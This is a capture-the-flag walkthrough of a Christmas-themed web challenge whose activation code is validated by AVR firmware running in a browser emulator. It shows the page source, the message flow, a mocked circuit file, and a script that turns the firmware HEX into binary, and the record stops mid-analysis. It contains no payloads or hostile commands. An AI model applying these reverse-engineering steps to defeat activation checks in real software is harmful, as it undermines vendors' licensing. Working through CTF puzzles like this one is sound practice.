Flagvent 2025 - Leet
FV25.12
Challenge
While trying to setup his christmas tree, santa got greeted by a unexpected popup asking for an activation code. “Damn these stupid devices, this year will have to be without christmas lights…” |
|
| Categories: |
|
| Level: | leet |
| Author: | fabi07 |
| Spawnable Instance: |
|
Page Enumeration
Functionality
The page is a simple graphic of an unlit Christmas tree on a starry night sky with an input field at the top asking for an activation code:
If I enter a code and submit, it hangs for a minute, and then turns red:
Source / Network
The page source is very simple:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<link rel="stylesheet" href="index.css">
<script src="https://code.jquery.com/jquery-3.7.1.min.js" crossorigin="anonymous"></script>
</head>
<body>
<form class="input" id="input-form" onsubmit="activation(event)">
<input type="text" id="input" required placeholder="Enter the activation code for the christmas tree">
<button type="submit">Submit</button>
<div class="input__spinner" id="form-spinner" aria-hidden="true"></div>
</form>
<div class="sky">
<div id="snow"></div>
<div class="mountains">
<div class="mountain-1"></div>
<div class="mountain-2"></div>
<div class="land-1"></div>
<div class="land-2"></div>
<div class="land-3"></div>
</div>
<div class="mountains-base"></div>
<div class="light-base"></div>
<div class="stars"></div>
<div class="stars-cross"></div>
<div class="stars-cross-aux"></div>
</div>
<div id="main-tree-wrap">
<div class="tree-wrap">
<div class="star">
<div class="star-inner"></div>
</div>
<ul class="tree top">
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
<ul class="tree middle">
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
<ul class="tree bottom">
<li></li>
<li></li>
<li></li>
<li></li>
</ul>
<ul class="lightrope">
<li style="top:40.8%; left:36%;"></li>
<li style="top:41.3%; left:42%;"></li>
<li style="top:40.6%; left:48%;"></li>
<li style="top:38.5%; left:54%;"></li>
<li style="top:55.5%; left:28%;"></li>
<li style="top:56%; left:34%;"></li>
<li style="top:56.2%; left:40%;"></li>
<li style="top:55.5%; left:46%;"></li>
<li style="top:53.9%; left:52%;"></li>
<li style="top:51.3%; left:58%;"></li>
<li style="top:49.1%; left:62%;"></li>
<li style="top:72%; left:24%;"></li>
<li style="top:72.6%; left:30%;"></li>
<li style="top:72.8%; left:36%;"></li>
<li style="top:72.7%; left:42%;"></li>
<li style="top:72%; left:48%;"></li>
<li style="top:70.8%; left:54%;"></li>
<li style="top:68.8%; left:60%;"></li>
<li style="top:65.2%; left:66%;"></li>
</ul>
</div>
<!--<div class="ground"></div>-->
</div>
<script src="index.js"></script>
</body>
</html>
The form calls the function activation(event), rather than submitting a request. In addition to the form, there’s a bunch of empty objects that CSS can turn into the images that make up the scene. It loads JQuery, index.css, and index.js.
When I load the page, there are 29 requests made (though many are duplicates):
There are two requests for /iframe.html which return 404. There are a few references to simulation, and several JavaScript files.
Interestingly, submitting a code doesn’t generate another, which implies that the validation is done locally.
lndex.html
At the top of index.js is a loop that nests 100 div elements, and then sets an iframe with no display that loads /lndex.html (note it starts with lower case “l”, not “i”).
let currentParent = document.body;
for (let i = 0; i < 100; i++) {
const host = document.createElement('div');
currentParent.appendChild(host);
const shadowRoot = host.attachShadow({ mode: 'closed' });
currentParent = shadowRoot;
}
currentParent.innerHTML = `<iframe src="./lndex.html" id="lndex" style="display: none"></iframe>`;
Later, it’s added again:
let a = document.body;
...[snip]...
a.innerHTML = String.fromCharCode(...[60, 105, 102, 114, 97, 109, 101, 32, 115, 114, 99, 61, 34, 46, 47, 108, 110, 100, 101, 120, 46, 104, 116, 109, 108, 34, 32, 105, 100, 61, 34, 108, 110, 100, 101, 120, 34, 32, 115, 116, 121, 108, 101, 61, 34, 100, 105, 115, 112, 108, 97, 121, 58, 32, 110, 111, 110, 101, 34, 62, 60, 47, 105, 102, 114, 97, 109, 101, 62]);
That decodes to the exact same iframe line as above.
This is present in the page:
At the bottom is lndex.html:
lndex.html is pretty simple as well, mostly consisting of inline CSS, comments, and loading a few more .js files:
<!DOCTYPE html>
<html>
<head>
<!-- Properties can be specified to influence deferred binding -->
<meta name='gwt:property' content='locale=en_UK'>
<!-- Titles are optional, but useful -->
<title></title>
<style>
...[snip]...
</style>
<!-- <link rel="stylesheet" href="font/fontello.css"> -->
</head>
<body>
<!-- Include the next line to allow support for dropbox import/export. You will need your own app key. -->
<!--<script type="text/javascript" src="https://www.dropbox.com/static/api/2/dropins.js" id="dropboxjs" data-app-key="YOUR_KEY"></script>-->
<script language="javascript" src="lz-string.min.js"></script>
<!-- This script tag is what actually loads the GWT module. The -->
<!-- 'nocache.js' file (also called a "selection script") is -->
<!-- produced by the GWT compiler in the module output directory -->
<!-- or generated automatically in development mode. -->
<script language="javascript" src="simulation/simulation.nocache.js"></script>
<!-- Include a history iframe to enable full GWT history support -->
<!-- (the id must be exactly as shown) -->
<iframe src="javascript:''" id="__gwt_historyFrame" style="width:0;height:0;border:0"></iframe>
<script src="src2.js"></script>
</body>
</html>
There are a couple references to GWT, or Google Web Toolkit:
GWT is a development toolkit for building and optimizing complex browser-based applications. Its goal is to enable productive development of high-performance web applications without the developer having to be an expert in browser quirks, XMLHttpRequest, and JavaScript. It’s open source, completely free, and used by thousands of developers around the world.
activation
The function called on form submission, activation, is defined in index.js:
function activation(event) {
if (event && typeof event.preventDefault === 'function') {
event.preventDefault();
}
window.postMessage({ request: document.getElementById("input").value }, "*");
let form = document.getElementById("input-form");
form.querySelectorAll('input, select, textarea, button').forEach(el => el.disabled = true);
}
This is interesting, as it sends a message via the postMessage API to “*”, which is the same window. This message is caught by an event listener set up later in the file:
window.addEventListener('message', (message) => {
if (message.data.request)
a.getElementById("lndex").contentWindow.postMessage(message.data.request);
if (message.data.cryptic_response) {
let form = g.getElementById("input-form");
form.querySelectorAll('input, select, textarea, button').forEach(el => el.disabled = false);
if (message.data.cryptic_response == "valide\r\n") {
g.getElementById('snow').style.display = "";
root.style.setProperty('--lightrope-animation-state', 'running');
g.body.classList.add('lightrope-on');
g.body.classList.remove('lightrope-off');
g.getElementById("input").style.background = "#28a745";
g.querySelector(".input button").style.background = "#28a745";
} else {
g.getElementById('snow').style.display = "none";
root.style.setProperty('--lightrope-animation-state', 'paused');
g.body.classList.add('lightrope-off');
g.body.classList.remove('lightrope-on');
g.getElementById("input").style.background = "#cc2626ff";
g.querySelector(".input button").style.background = "#cc2626ff";
}
}
});
message.data.request will be the input to the form (where request is set in the JSON above), which is then send via another message to the iframe.
If a message comes back with message.data.cryptic_response, then it checks if that is the string “valide\r\n”, and if so, lights the tree. If not, it turns the form red.
I don’t know where that message comes from yet (probably the iframe), but I can fake it in the console:
And the tree lights up:
This suggests that the flag is the activation code, and that I need to go into the iframe to see how it’s validated.
src2.js
src2.js is loaded in the iframe, and has several key components. Towards the bottom, it loads avr8js:
const avr8js_1 = require("avr8js");
This library is a JavaScript-based AVR microcontroller emulator.
The function executeProgram include an event listener for messages, which will receive the message from the parent page:
function executeProgram(hex) {
const MHZ = 16000000; // get iframe the simulator is running in. Must have same origin as this file!
sim = window.simulation;
runner = new execute_1.AVRRunner(hex, sim);
window.addEventListener('message', message => {
runner.transmitString(message.data);
});
window.runner = runner;
var serialOutput = '';
runner.usart.onByteTransmit = value => {
// serialOutputText.textContent += String.fromCharCode(value)
serialOutput += String.fromCharCode(value);
if (serialOutput.includes("\n")) {
parent.postMessage({cryptic_response: serialOutput});
serialOutput = '';
}
};
const cpuPerf = new cpu_performance_1.CPUPerformance(runner.cpu, MHZ);
runner.execute(cpu => {
//const time = format_time_1.formatTime(cpu.cycles / MHZ);
//const speed = (cpuPerf.update() * 100).toFixed(0);
// statusLabel.textContent = `Simulation time: ${time} (${speed}%)`;
});
sim.setSimRunning(true);
}
This function starts the program in an AVRRunner, and then when a message arrives, the code is passed to an AVRRunner instance via transmitString(), which feeds it to the emulated AVR’s USART (serial input). The AVR firmware processes this input, and whatever it outputs via USART gets captured and sent back to the parent window as {cryptic_response: output}.
Towards the end of src2.js is the AVR firmware itself, embedded as Intel HEX format, in a call to executeProgram:
executeProgram(":100000000C9462000C948A000C948A000C948A0070\n:100010000C948A000C948A000C948A000C948A0038\n:100020000C948A000C948A000C948A000C948A0028\n:100030000C948A000C948A000C948A000C948A0018\n:100040000C949E020C948A000C946C020C94460250\n:100050000C948A000C948A000C948A000C948A00F8\n:100060000C948A000C948A000000000024002700F1\n:100070002A0000000000250028002B0000000000DE\n:1000800023002600290004040404040404040202DA\n:100090000202020203030303030301020408102007\n:1000A0004080010204081020010204081020000012\n:1000B0000008000201000003040700000000000027\n:1000C0000000180511241FBECFEFD8E0DEBFCDBF62\n:1000D00024E0A6EBB3E001C01D92AC35B207E1F716\n:1000E00013E0A0E0B1E0EAE9FAE002C005900D9269\n:1000F000A63BB107D9F710E0C2E6D0E004C02197D3\n:10010000FE010E944505C136D107C9F70E945E0372\n:100110000C944B050C940000AF92BF92CF92DF92EB\n:10012000EF92FF920F931F93CF93DF936C017B01AC\n:100130008B01040F151FEB015E01AE18BF08C0173D\n:10014000D10759F06991D601ED91FC910190F081B0\n:10015000E02DC6010995892B79F7C501DF91CF9173\n:100160001F910F91FF90EF90DF90CF90BF90AF90D5\n:100170000895FC01538D448D252F30E0842F90E0AD\n:10018000821B930B541710F0CF9608950197089592\n:10019000FC01918D828D981761F0A28DAE0FBF2F5B\n:1001A000B11D5D968C91928D9F5F9F73928F90E0B1\n:1001B00008958FEF9FEF0895FC01918D828D981720\n:1001C00031F0828DE80FF11D858D90E008958FEF5D\n:1001D0009FEF0895FC01918D228D892F90E0805C26\n:1001E0009F4F821B91098F73992708958FEB93E09E\n:1001F0000E94EA0021E0892B09F420E0822F089573\n:1002000080E090E0892B29F00E94F60081110C9487\n:1002100000000895FC01A48DA80FB92FB11DA35AA9\n:10022000BF4F2C91848D90E001968F739927848F16\n:10023000A689B7892C93A089B1898C918370806439\n:100240008C93938D848D981306C00288F389E02DDA\n:1002500080818F7D80830895EF92FF920F931F938B\n:10026000CF93DF93EC0181E0888F9B8D8C8D981369\n:100270001AC0E889F989808185FF15C09FB7F89475\n:10028000EE89FF896083E889F989808183708064C1\n:1002900080839FBF81E090E0DF91CF911F910F910C\n:1002A000FF90EF900895F62E0B8D10E00F5F1F4F1B\n:1002B0000F731127E02E8C8D8E110CC00FB607FC2A\n:1002C000FACFE889F989808185FFF5CFCE010E94B8\n:1002D0000A01F1CFEB8DEC0FFD2FF11DE35AFF4F1B\n:1002E000F0829FB7F8940B8FEA89FB898081806246\n:1002F000CFCFCF93DF93EC01888D8823B9F0AA8903\n:10030000BB89E889F9898C9185FD03C0808186FDD0\n:100310000DC00FB607FCF7CF8C9185FFF2CF80811F\n:1003200085FFEDCFCE010E940A01E9CFDF91CF9189\n:100330000895833081F028F4813099F08230A9F05B\n:1003400008958730A9F08830C9F08430B1F48091E5\n:1003500080008F7D03C0809180008F778093800024\n:10036000089584B58F7784BD089584B58F7DFBCFC4\n:100370008091B0008F778093B00008958091B00095\n:100380008F7DF9CF1F93CF93DF93282F30E0F901B2\n:10039000E255FF4F8491F901E656FF4FD491F901E0\n:1003A000EA57FF4FC491CC23A9F0162F81110E9468\n:1003B0009901EC2FF0E0EE0FFF1FEE58FF4FA591D3\n:1003C000B4918FB7F894EC91111108C0D095DE2349\n:1003D000DC938FBFDF91CF911F910895DE2BF8CF73\n:1003E000CF93DF9390E0FC01E656FF4F24918A57AC\n:1003F0009F4FFC0184918823D1F090E0880F991FD2\n:10040000FC01E859FF4FA591B491FC01EE58FF4F54\n:10041000C591D49161110EC09FB7F8948C91E22FD1\n:10042000E0958E238C932881E223E8839FBFDF91A0\n:10043000CF9108958FB7F894EC91E22BEC938FBF96\n:10044000F6CF3FB7F8948091B7039091B803A0918D\n:10045000B903B091BA0326B5A89B05C02F3F19F088\n:100460000196A11DB11D3FBFBA2FA92F982F882734\n:10047000BC01CD01620F711D811D911D42E0660F0F\n:10048000771F881F991F4A95D1F708951F920F92E1\n:100490000FB60F9211242F933F934F935F936F9357\n:1004A0007F938F939F93AF93BF93EF93FF938FEBC4\n:1004B00093E00E940A01FF91EF91BF91AF919F914C\n:1004C0008F917F916F915F914F913F912F910F90FD\n:1004D0000FBE0F901F9018951F920F920FB60F929C\n:1004E00011242F938F939F93EF93FF93E091CF036A\n:1004F000F091D0038081E091D503F091D60382FD85\n:100500001BC090818091D8038F5F8F732091D90396\n:10051000821741F0E091D803F0E0E154FC4F958F51\n:100520008093D803FF91EF919F918F912F910F901E\n:100530000FBE0F901F9018958081F4CF1F920F92DD\n:100540000FB60F9211242F933F938F939F93AF93E6\n:10055000BF938091BB039091BC03A091BD03B09168\n:10056000BE033091B60323E0230F2D3758F50196D3\n:10057000A11DB11D2093B6038093BB039093BC03D0\n:10058000A093BD03B093BE038091B7039091B803CD\n:10059000A091B903B091BA030196A11DB11D80933A\n:1005A000B7039093B803A093B903B093BA03BF9174\n:1005B000AF919F918F913F912F910F900FBE0F9010\n:1005C0001F90189526E8230F0296A11DB11DD2CFCA\n:1005D000EF92FF920F931F93CF93DF93CDB7DEB7C8\n:1005E000C05CD2400FB6F894DEBF0FBECDBF2CE486\n:1005F000E0E0F1E0DE01AF5FBD4F01900D922A9582\n:10060000E1F7FE01EF5FFD4FAE0147565D4F9E01E2\n:10061000235B3D4FBA01A191B191A80FB91F1C9165\n:10062000DB011D93BD01E217F307A9F760E072E05B\n:10063000ECE4F1E0DE01119601900D926150704002\n:10064000D9F7BA016A5D7F4FDA01ED918D01015052\n:100650001109EE0FFF0BEE24E394F12CEC0EFD1EBE\n:10066000EE0DFF1DF080F801F082A617B70769F7BD\n:100670006CE4ECE4F3E0D90101900D926A95E1F7A6\n:10068000FC01BC016A5D7F4FDA018D91AD01D9019A\n:100690009C912E5F3F4F89278193E617F707A1F7BB\n:1006A000C054DD4F0FB6F894DEBF0FBECDBFDF9153\n:1006B000CF911F910F91FF90EF900895CF93DF930B\n:1006C000CDB7DEB7AC970FB6F894DEBF0FBECDBF87\n:1006D000789484B5826084BD84B5816084BD85B51D\n:1006E000826085BD85B5816085BD80916E00816029\n:1006F00080936E00109281008091810082608093CF\n:1007000081008091810081608093810080918000D0\n:100710008160809380008091B10084608093B100FB\n:100720008091B00081608093B00080917A008460F5\n:1007300080937A0080917A00826080937A00809121\n:100740007A00816080937A0080917A00806880933B\n:100750007A001092C100E091CF03F091D00382E0C3\n:100760008083E091CB03F091CC031082E091CD0324\n:10077000F091CE0380E180831092D703E091D30300\n:10078000F091D40386E08083E091D103F091D2030D\n:10079000808180618083E091D103F091D2038081D8\n:1007A00088608083E091D103F091D20380818068DA\n:1007B0008083E091D103F091D20380818F7D80838B\n:1007C00060E083E00E94F00161E084E00E94F001BB\n:1007D00061E085E00E94F00161E086E00E94F001A6\n:1007E00084EF91E0A0E0B0E08093C3039093C40352\n:1007F000A093C503B093C6033BE3E32E36E0F32E8C\n:100800001E012CE2220E311C2BE8C22EDD24D394D3\n:100810008FEB93E00E94EA00892B09F4D2C061E0DB\n:1008200084E00E94C201C7010197F1F760E084E013\n:100830000E94C201C7010197F1F7CE0101963C0168\n:1008400010E000E02FB7F8948091BB039091BC03B7\n:10085000A091BD03B091BE032FBF8093C7039093B7\n:10086000C803A093C903B093CA038FEB93E00E941F\n:10087000C80097FFB3C02FB7F8948091BB03909145\n:10088000BC03A091BD03B091BE032FBF4091C7032D\n:100890005091C8036091C9037091CA03841B950BE2\n:1008A000A60BB70B4091C3035091C4036091C503DD\n:1008B0007091C60384179507A607B707B0F2898120\n:1008C000863409F045C08A81863509F041C08B81A4\n:1008D000823309F03DC08C81853309F039C08D81A8\n:1008E0008B37B1F5FE01E00FF11F80818D3781F567\n:1008F000CE0106960E94E802FE0136963F01F30102\n:1009000051903F0110E000E061E070E0002E01C076\n:10091000660F0A94EAF7652186E00E94C201C601CB\n:100920000197F1F761E085E00E94C201C7010197DC\n:10093000F1F760E085E00E94C201C7010197F1F77D\n:100940000F5F1F4F08301105F9F626143704B9F66A\n:10095000E1EBF0E08491EDE9F0E00491E9E8F0E00A\n:100960001491112309F444C081110E949901E12FCF\n:10097000F0E0EE0FFF1FE458FF4FA591B4918C916A\n:100980000823B1F16CEA73E035C0F1E04F1A510869\n:100990006108710828EE820E23E0921EA11CB11C92\n:1009A000411451046104710461F00E94210268192C\n:1009B00079098A099B09683E73408105910528F7EA\n:1009C000F4CF80E090E0892B09F422CF0E94F6005A\n:1009D000882309F419CF0E94000016CFF3018193F8\n:1009E0003F010F5F1F4F0C32110509F02BCF67CF6E\n:1009F0006AEA73E0FB0101900020E9F73197AF014B\n:100A0000461B570B8FEB93E00E948C0042E050E0B6\n:100A100063EB73E08FEB93E00E948C000E94210255\n:100A20004B015C0184E6482E512C612C712CBDCF0A\n:100A3000EFEBF3E01382128288EE93E0A0E0B0E0E7\n:100A400084839583A683B7838CE993E09183808325\n:100A500085EC90E09587848784EC90E09787868783\n:100A600080EC90E0918B808B81EC90E0938B828B7B\n:100A700082EC90E0958B848B86EC90E0978B868B54\n:100A8000118E128E138E148E0895EE0FFF1F059097\n:0A0A9000F491E02D0994F894FFCFD3\n:100A9A001A002400160001000B001F0002002000AB\n:100AAA0008000E001D000D001700120021001E0094\n:100ABA001B00040013000F000C00050018001900A9\n:100ACA0010001C0025000700110022001500090073\n:100ADA00230014000300060000000A000A00800038\n:100AEA003F005800970085003D0017000600E90006\n:100AFA004A00AC0082003200300043005A009D00D8\n:100B0A000B004B00790000002200A800F9005000F9\n:100B1A0081002C00A60075001B009800B900960001\n:100B2A002900DA00F700F200AE002300CC00BB0077\n:100B3A0008003900C300F5007A0095000300FF00A1\n:100B4A009B007B00AB00B500B70062003A001D00B5\n:100B5A00F400020038008C004000EF001400CB00C3\n:100B6A00C100CE008700310011005300EB00640081\n:100B7A0025000D001200A900FB00AA002000B10008\n:100B8A0061005400DB00A3006700CA00AD00FC004E\n:100B9A00C900EE00C800DF009200DD00A400440096\n:100BAA009A005F00F300D10009008F005900F1009C\n:100BBA00E500BF00AF009C0013001C00C4007200D7\n:100BCA0007004500EC00930010006C0021001E0095\n:100BDA005B000F00CF002700840046005500A700E5\n:100BEA0036006F0033003B0060007F00D2008E00A9\n:100BFA003C002B0065006D009100BE00FD0049001D\n:100C0A006A008300D600D800BC002F00A20086002C\n:100C1A002D002A005700B3005600C5004C00A5005D\n:100C2A00DE001600E0007000D900FA00DC001F00A8\n:100C3A00E4009E006B005C00EA005100FE007E00AA\n:100C4A00240047000E0071006300ED00BA007D0029\n:100C5A0004003400E100E6000C00C600E200F600E1\n:100C6A00D3007300F00035002E006E0042004F00E2\n:100C7A00A100B20037009F00D4005200880068002B\n:100C8A008B00B60019007700D500D000C700E80035\n:100C9A00B80099005E00C000F800B40094003E005D\n:100CAA00C200A0000100E3008D007C005D00CD00C1\n:100CBA00D7008A00B0004D006900900015001A00A4\n:100CCA008900E700480028000500BD00760074008E\n:100CDA0041004E007800660026001800BD00B300EF\n:100CEA00ED00E9002E00ED0052009F00D1001B002C\n:100CFA00AE00AE00B1004100ED00E900CD005100A8\n:100D0A00B1009F00BD00CD009F00B100CD00B3002F\n:100D1A001D004B005E00410041005100CD009F00C4\n:100D2A00B3009F001B009F00000000002C018C00F4\n:100D3A00B9007901EA00C800DC00696E76616C6965\n:060D4A006465000D0A00C3\n:00000001FF\n");
} catch (err) {
// runButton.removeAttribute('disabled');
alert('Failed: ' + err);
} finally {
// statusLabel.textContent = '';
}
}
simulation.nocache.js
This file is a GWT (Google Web Toolkit) bootstrap script that loads different compiled JavaScript modules based on the browser. Looking at the code reveals browser detection logic selecting from several cache files:
h([Sb], ac); // ie9 -> 692B27E1A8CDB5102CB18F82B26D6AA9
h([Mb], bc); // webkit (Safair, Chrome) -> 883569E4101A009F35059C0AAA0B54D8
h([Qb], cc); // ie10 -> 8B514A8B09F18EB45CA9E8129EE03726
h([Wb], dc); // gecko (Firefox) -> C5B3B842E8A4DFA144188ABBE94BC5E1
h([Ub], ec); // ie8 -> C969CC29618C42709EE02C4B28F3038B
I noticed the request to /simulation/C5B3B842E8A4DFA144188ABBE94BC5E1.cache.js in Burp when I loaded the page in Firefox. This is a circuit simulator. It’s very obfuscated, but this is a GWT app that is the Falstad circuit emulator. It tries to load a circuit from /circuits.
Later there’s an XHR interception hook:
(function() {
const originalOpen = XMLHttpRequest.prototype.open;
const originalSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.open = function(method, url, ...rest) {
this._mock = url.includes("circuits/");
this.requestURL = url
return originalOpen.apply(this, [method, url, ...rest]);
};
XMLHttpRequest.prototype.send = function(body) {
if (this._mock) {
setTimeout(() => {
const circuit = "$ 1 0.000005 382.76258214399064 50 5 50 5e-11\n155 576 208 624 208 0 0\n155 576 512 624 512 0 0\n155 576 800 624 800 0 0\nI 48 32 48 80 0 0.5 5\nw 48 32 32 32 0\nw 32 32 32 -16 0\n150 240 112 320 112 0 3 0 5\n150 240 192 320 192 0 4 0 5\n150 240 288 320 288 0 4 0 5\n152 384 208 480 208 0 3 0 5\nw 320 112 384 192 0\nw 320 192 384 208 0\nw 384 224 320 288 0\nw 80 32 80 -16 0\nw 96 32 80 32 0\nI 96 32 96 80 0 0.5 5\nw 128 32 128 -16 0\nw 144 32 128 32 0\nI 144 32 144 80 0 0.5 5\nw 176 32 176 -16 0\nw 192 32 176 32 0\nI 192 32 192 80 0 0.5 5\nw 240 96 32 96 0\nw 240 128 192 128 0\nw 240 160 32 160 0\nw 240 176 80 176 0\nw 240 208 144 208 0\nw 240 224 176 224 0\nw 240 256 48 256 0\nw 240 272 80 272 0\nw 240 304 128 304 0\nw 240 320 192 320 0\n150 240 400 320 400 0 3 0 5\n150 240 464 320 464 0 3 0 5\n150 240 528 320 528 0 3 0 5\n150 240 608 320 608 0 4 0 5\n152 384 512 480 512 0 4 0 5\nw 320 400 384 480 0\nw 320 464 384 496 0\nw 384 528 320 528 0\nw 384 544 320 608 0\nw 240 384 32 384 0\nw 240 400 96 400 0\nw 240 416 128 416 0\nw 240 448 48 448 0\nw 240 464 128 464 0\nx 660 1054 687 1057 4 8 /you-will-never-find-me/code.elf\nw 240 480 176 480 0\nw 240 512 32 512 0\nw 240 528 144 528 0\nw 240 544 176 544 0\nw 240 576 48 576 0\nw 240 592 80 592 0\nw 240 624 144 624 0\nw 240 640 192 640 0\n150 240 1008 320 1008 0 4 0 5\n150 240 864 320 864 0 2 5 5\n150 240 800 320 800 0 3 5 5\n150 240 736 320 736 0 3 0 5\n152 384 800 480 800 0 3 5 5\nw 480 512 576 512 0\nw 576 800 480 800 0\nw 320 736 384 784 0\nw 320 800 384 800 0\nw 320 864 384 816 0\nw 240 720 32 720 0\nw 240 736 80 736 0\nw 240 752 144 752 0\nw 240 784 48 784 0\nw 240 816 192 816 0\nw 240 800 96 800 0\nw 240 848 144 848 0\nw 240 880 192 880 0\nw 240 976 32 976 0\nw 240 992 80 992 0\nw 240 1024 128 1024 0\nw 240 1040 192 1040 0\nw 192 80 192 128 0\nw 176 32 176 224 0\nw 144 80 144 208 0\nw 128 32 128 304 0\nw 80 32 80 176 0\nw 80 176 80 272 0\nw 192 128 192 320 0\nw 48 80 48 256 0\nw 32 32 32 96 0\nw 32 96 32 160 0\nw 32 160 32 384 0\nw 128 304 128 416 0\nw 176 480 176 224 0\nw 144 528 144 208 0\nw 128 464 128 416 0\nw 48 448 48 256 0\nw 32 384 32 512 0\nw 176 480 176 544 0\nw 144 624 144 528 0\nw 80 592 80 272 0\nw 48 576 48 448 0\nw 192 320 192 640 0\nw 192 640 192 816 0\nw 192 816 192 880 0\nw 144 624 144 752 0\nw 144 752 144 848 0\nw 128 464 128 1024 0\nw 80 992 80 736 0\nw 80 736 80 592 0\nw 96 400 96 800 0\nw 192 880 192 1040 0\nw 32 720 32 976 0\nw 48 576 48 784 0\nw 32 512 32 720 0\nw 480 208 576 208 0\nw 672 208 672 -112 0\nw 672 -112 32 -112 0\nw 32 -112 32 -16 0\nw 672 512 704 512 0\nw 704 512 704 -80 0\nw 704 -80 80 -80 0\nw 80 -80 80 -16 0\nw 672 800 736 800 0\nw 736 800 736 -48 0\nw 128 -16 128 -48 0\nw 128 -48 736 -48 0\nw 576 832 544 832 0\nw 576 544 544 544 0\nw 576 240 544 240 0\nw 544 240 544 -144 0\nw 544 240 544 544 0\nw 544 544 544 832 0\nw 240 112 96 112 0\nw 96 80 96 112 0\nw 96 112 96 400 0\nw 624 1008 320 1008 0\n193 624 976 688 976 2 0\n193 816 976 880 976 6 5\n193 1008 976 1072 976 2 0\n193 1392 976 1456 976 6 5\n193 1584 976 1648 976 6 5\nw 720 976 816 1008 0\nw 912 976 1008 1008 0\nw 1104 976 1200 1008 0\nw 1296 976 1392 1008 0\nw 1488 976 1584 1008 0\nw 624 1040 624 1088 0\nL 1584 976 1568 976 0 1 false 5 0\nL 1392 976 1376 976 0 1 false 5 0\nL 1200 976 1184 976 0 1 false 5 0\nL 1008 976 992 976 0 1 false 5 0\nL 816 976 800 976 0 1 false 5 0\nL 624 976 608 976 0 1 false 5 0\nw 1584 1040 1584 1088 0\nw 1200 1040 1200 1088 0\nw 1008 1040 1008 1088 0\nw 816 1040 816 1088 0\nw 1392 1040 1392 1088 0\nw 1392 1088 1584 1088 0\nw 1200 1088 1392 1088 0\nw 1008 1088 1200 1088 0\nw 1008 1088 816 1088 0\nw 816 1088 624 1088 0\n150 1728 912 1824 912 0 6 0 5\nw 1728 944 1488 944 0\nw 1728 896 1104 896 0\nw 1728 880 944 880 0\nw 752 1040 752 864 0\nw 1728 864 752 864 0\nw 1712 960 1712 1008 0\n152 1824 1088 1712 1088 0 2 0 5\nw 1712 1088 1584 1088 0\n193 1200 976 1264 976 6 5\nw 1488 944 1488 976 0\nw 912 1008 944 1008 0\nw 1712 960 1728 960 0\nw 1328 928 1728 928 0\nw 2016 928 2016 976 0\nw 1920 944 1920 992 0\nw 1824 912 1920 912 0\n152 1920 928 2016 928 0 2 0 5\nw 1824 912 1824 1072 0\nw 1104 896 1104 976 0\nw 1328 1008 1296 1008 0\nw 944 880 944 1008 0\nw 1328 928 1328 1008 0\nw 720 1040 752 1040 0\nw 1680 1008 1712 1008 0\nw 176 -16 176 -144 0\n418 176 -144 176 -176 0 1 40 5 0 0 0.5 pin\\s6\n418 544 -144 544 -160 0 1 40 5 0 0 0.5 pin\\s5\n418 2016 1104 2048 1104 0 1 40 5 0 0 0.5 pin\\s4\n207 2016 928 2064 928 4 pin\\s3\n150 2016 992 1920 992 0 2 0 5\nI 2016 1104 2016 1008 0 0.5 5\nw 2016 1104 1824 1104 0\n";
Object.defineProperty(this, "readyState", { value: 4 });
Object.defineProperty(this, "status", { value: 200 });
Object.defineProperty(this, "responseText", { value: circuit });
this.onreadystatechange && this.onreadystatechange();
this.onload && this.onload();
}, 50);
return;
}
return originalSend.apply(this, [body]);
};
})();
This hook looks at web requests made in this context, and if the URL includes circuits/, it sends a statically defined value of this long string it names circuit instead of making the network request.
The circuit definition itself is in Falstad’s text format. The header line $ 1 0.000005 … defines simulation parameters, followed by component definitions. Searching for this shows it’s Falstad:
Pasting the circuit string into Falstad’s online simulator renders it correctly:
The circuit consists of an FSM (finite state machine) built from three flip-flops and combinational logic on the left, connected to a 6-digit counter made of seven-segment displays on the right. Pin labels show the interface points: pin 5 (clock), pin 6 (data input), and pins 3/4 for output.
Interestingly, buried in the circuit definition is a red herring:
x 660 1054 687 1057 4 8 /you-will-never-find-me/code.elf
This text label points to a path that, when fetched, returns a bash script that Rick Rolls you.
Challenge Structure
At this point, I have the following flow:
- User submits activation code via the form which messages to the parent page.
- Parent page posts code to lndex.html iframe.
- src2.js receives the code and feeds it to the AVR emulator via USART.
- AVR reads results from the serial output and sends a message back to the iframe page with either “valide\r\n” or “invalide\r\n”.
- Response is posted back to parent page
I’ve got the raw firmware source, and a circuit description (though it’s not yet clear how this plays in).
Firmware RE
Create Binary
I’ll grab the Intel Hex format and save it as firmware.hex
oxdf@hacky$ cat firmware.hex | wc -l
215
oxdf@hacky$ cat firmware.hex | head
:100000000C9462000C948A000C948A000C948A0070
:100010000C948A000C948A000C948A000C948A0038
:100020000C948A000C948A000C948A000C948A0028
:100030000C948A000C948A000C948A000C948A0018
:100040000C949E020C948A000C946C020C94460250
:100050000C948A000C948A000C948A000C948A00F8
:100060000C948A000C948A000000000024002700F1
:100070002A0000000000250028002B0000000000DE
:1000800023002600290004040404040404040202DA
:100090000202020203030303030301020408102007
Claude helped me make a simple Python script that will convert that to binary:
# Parse Intel HEX and create binary
hex_lines = open('firmware.hex').readlines()
binary_data = bytearray(0x10000) # 64KB max
max_addr = 0
for line in hex_lines:
line = line.strip()
if not line or not line.startswith(':'):
continue
byte_count = int(line[1:3], 16)
address = int(line[3:7], 16)
record_type = int(line[7:9], 16)
if record_type == 0: # Data record
data = bytes.fromhex(line[9:9+byte_count*2])
for i, b in enumerate(data):
binary_data[address + i] = b
max_addr = max(max_addr, address + i + 1)
elif record_type == 1: # End of file
break
binary_data = binary_data[:max_addr]
with open('firmware.bin', 'wb') as f:
f.write(binary_data)
It generates firmware.bin:
oxdf@hacky$ python intelhex2bin.py
oxdf@hacky$ xxd firmware.bin | head
00000000: 0c94 6200 0c94 8a00 0c94 8a00 0c94 8a00 ..b.............
00000010: 0c94 8a00 0c94 8a00 0c94 8a00 0c94 8a00 ................
00000020: 0c94 8a00 0c94 8a00 0c94 8a00 0c94 8a00 ................
00000030: 0c94 8a00 0c94 8a00 0c94 8a00 0c94 8a00 ................
00000040: 0c94 9e02 0c94 8a00 0c94 6c02 0c94 4602 ..........l...F.
00000050: 0c94 8a00 0c94 8a00 0c94 8a00 0c94 8a00 ................
00000060: 0c94 8a00 0c94 8a00 0000 0000 2400 2700 ............$.'.
